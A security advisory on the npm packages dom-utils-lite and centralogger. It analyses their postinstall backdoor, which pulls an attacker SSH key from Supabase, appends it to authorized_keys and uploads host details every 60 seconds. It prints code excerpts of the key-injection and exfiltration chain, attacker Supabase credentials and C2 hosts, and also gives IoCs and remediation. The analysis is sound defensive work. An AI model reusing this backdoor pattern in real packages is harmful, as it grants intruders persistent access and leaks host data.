Malicious dom-utils-lite npm SSH Backdoor via Supabase
On this page
TL;DR
npm account user0001 <tanvisoul9@gmail.com> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.
Impact:
- Writes the attacker’s SSH public key into
~/.ssh/authorized_keys - Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
- Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
- Empty
catchblocks swallow all errors
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | dom-utils-lite@1.0.0 |
| Package | centralogger@1.0.9 (also 1.0.5 through 1.0.8) |
| Maintainer | user0001 <tanvisoul9@gmail.com> |
| C2 (dom-utils-lite) | hxxps://xienztiavkygvacpqzgr[.]supabase[.]co |
| C2 (centralogger) | hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co |
| Supabase bucket | project_bucket |
| SSH key path | public_keys/main.pem.pub |
| Exfil path | logs/{ip}_{hostname}.txt |
| Postinstall | node setup.js |
| SHA-256 (dom-utils-lite) | 4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f |
| SHA-256 (centralogger) | 2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7 |
| Backdoor | Attacker’s SSH key appended to ~/.ssh/authorized_keys |
Analysis
Two Packages, One Payload
| Package | Version(s) | Published | Supabase C2 project |
|---|---|---|---|
centralogger | 1.0.5 through 1.0.9 | April 1, 2026 (5 versions in ~7 hours) | ndfcioahsbgsjmulpjgt |
dom-utils-lite | 1.0.0 | April 14, 2026 | xienztiavkygvacpqzgr |
centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.
Diffing the extracted tarballs shows only two files differ:
diff centralogger/package.json dom-utils-lite/package.json
< "name": "centralogger",
< "version": "1.0.9",
< "description": "A simple logger for application",
---
> "name": "dom-utils-lite",
> "version": "1.0.0",
> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
---
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"
All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.
Payload
postinstall runs setup.js, which chains four operations:
// setup.js
async function setup() {
try {
const publicKey = await getPublicKey(); // fetch SSH key from Supabase
await injectKey(publicKey); // write to ~/.ssh/authorized_keys
const server = getServerDetails(); // collect IP, username, hostname
await uploadMetadata(server); // exfiltrate to Supabase
} catch (err) {}
}
setup();
index.js repeats this chain every 60 seconds with exponential-backoff retry.
injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:
// injectKey.js
const taggedKey = `${publicKey} ssh-key-auto-sync`;
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');
supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.
uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.
Attack Flow
npm install dom-utils-lite
└─ postinstall: node setup.js
├─ fetchKey.js → Downloads SSH public key from Supabase bucket
├─ injectKey.js → Appends key to ~/.ssh/authorized_keys
├─ utils.js → Collects IP, username, hostname
└─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start)
└─ Same chain on 60-second interval with retry
Dynamic Analysis
Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of dom-utils-lite@1.0.0:
| Row | created_at | analysis_id | rule | output |
|---|---|---|---|---|
| 1 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 2 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Read ssh information | 2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 3 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.
Conclusion
If you installed either package:
- Check
~/.ssh/authorized_keysfor entries taggedssh-key-auto-syncand remove them - Audit
~/.ssh/authorized_keysfor any unrecognized keys - Kill any lingering
nodeprocesses runningindex.jsfrom these packages - Review CI/CD pipelines where either package may have been installed
Any npm package from the user0001 account should be treated as malicious. The tanvisoul9@gmail.com email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.
References
- vet
- malware
- npm
- supply-chain
- ssh-backdoor
Author
safedep.io
